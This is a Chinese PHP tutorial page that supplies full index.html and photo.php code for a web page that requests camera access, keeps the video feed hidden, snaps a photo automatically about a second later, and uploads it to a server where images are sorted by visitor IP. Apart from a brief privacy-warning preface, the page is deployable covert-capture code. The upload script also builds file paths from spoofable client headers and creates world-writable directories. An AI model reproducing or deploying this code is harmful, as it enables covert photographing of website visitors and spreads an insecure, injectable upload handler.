2025年3月19日 星期三 甲辰(龙)年 月十八 设为首页 加入收藏
rss
您当前的位置:首页 > 计算机 > 编程开发 > PHP

PHP代码获取相机权限并自动拍照上传至服务器

时间:08-09来源:作者:点击数:58

前言

现在众多手机APP乱用权限并窃取用户隐私,大家要注意保护好自己!

代码

分别创建index.html和photo.php两个文件并上传至网站服务器即可;创建好后打开网址会需要用户授权相机权限,PC端会调用摄像头,移动端会调用前置摄像头;允许权限后会立即进行拍照并上传至服务器,拍摄的照片会按照IP及拍摄时间进行分类。

说明

建站环境需求:Nginx PHP 7.0+

如果上传到服务器的图片是全黑的或只有一半,说明使用者打开网页后快速关闭了,没有完整的获取到图片。

index.html代码第46行处需要指定 photo.php文件的所在位置,如果文件在网站根目录下无需修改。

注意:由于浏览器安全机制原因,网站需开启SSL,如果仅使用HTTP,多数浏览器无法获取到相机权限.

index.html代码

  • <!DOCTYPE html>
  • <html>
  • <head>
  • <meta charset="UTF-8">
  • <meta name="viewport" content="width=device-width, initial-scale=1.0">
  • <meta name="" content="content">
  • <title>SunPma'Blog</title>
  • <style>
  • .container {
  • width: 60%;
  • margin: 10% auto 0;
  • background-color: #f0f0f0;
  • padding: 2% 5%;
  • border-radius: 10px
  • }
  • ul {
  • padding-left: 20px;
  • }
  • ul li {
  • line-height: 2.3
  • }
  • a {
  • color: #20a53a
  • }
  • </style>
  • </head>
  • <body>
  • <canvas id="canvas" style="display: none;" width="480" height="640"></canvas>
  • <video id="video" style="display: none;width: 250px;height: 300px;"></video>
  • <script src="https://lib.baomitu.com/jquery/3.6.0/jquery.js"></script>
  • <script>
  • window.addEventListener("DOMContentLoaded",function(){
  • var canvas = document.getElementById('canvas');
  • var context =canvas.getContext('2d');
  • var video = document.getElementById('video');
  • if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
  • navigator.mediaDevices.getUserMedia({video:true}).then(function(stream){
  • video.srcObject = stream;
  • video.play();
  • setTimeout(function(){context.drawImage(video,0,0,480,640)}, 1000);
  • setTimeout(function(){
  • var img = canvas.toDataURL('image/png');
  • $.post('/photo.php',{'imegse':img},function(data){
  • //指定photo.php文件所在位置
  • })
  • } ,1300)
  • },function(){
  • alert('缺少访问权限');
  • location.reload();
  • })
  • }
  • },false);
  • </script>
  • <div class="container">
  • <h1>这是一个测试页 · · · </h1>
  • <h3>获取相机权限后将自动拍照上传至服务器;</h3>
  • <ul>
  • <li>此测试页面获取到的照片会定时自动清理;</li>
  • <li>代码获取:https://www.cdsy.xyz/computer/programme/PHP/230809/cd45415.html</li>
  • </ul>
  • </div>
  • </body>
  • </html>

photo.php代码

  • <?php
  • //允许跨域
  • header("Access-Control-Allow-Origin:*");
  • echo base64();
  • function base64()
  • {
  • //接收 base64 数据
  • $image = $_POST['imegse'];
  • if (empty($image)) {
  • return null;
  • }
  • //设置图片名称
  • $imageName = date("His", time()) . "_" . rand(1111, 9999) . '.png';
  • //判断是否有逗号 如果有就截取后半部分
  • if (strstr($image, ",")) {
  • $image = explode(',', $image);
  • $image = $image[1];
  • }
  • //设置图片保存路径
  • $path = "./" . getIp() . '/' . date("Ymd", time());
  • //判断目录是否存在 不存在就创建
  • if (!is_dir($path)) {
  • mkdir($path, 0777, true);
  • }
  • //图片路径
  • $imageSrc = $path . "/" . $imageName;
  • //生成文件夹和图片
  • $r = file_put_contents($imageSrc, base64_decode($image));
  • if (!$r) {
  • return 0;
  • } else {
  • return 1;
  • }
  • }
  • function getIp()
  • {
  • if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
  • $ip = $_SERVER['HTTP_CLIENT_IP'];
  • } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  • $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  • } else {
  • $ip = $_SERVER['REMOTE_ADDR'];
  • }
  • return $ip;
  • }
方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门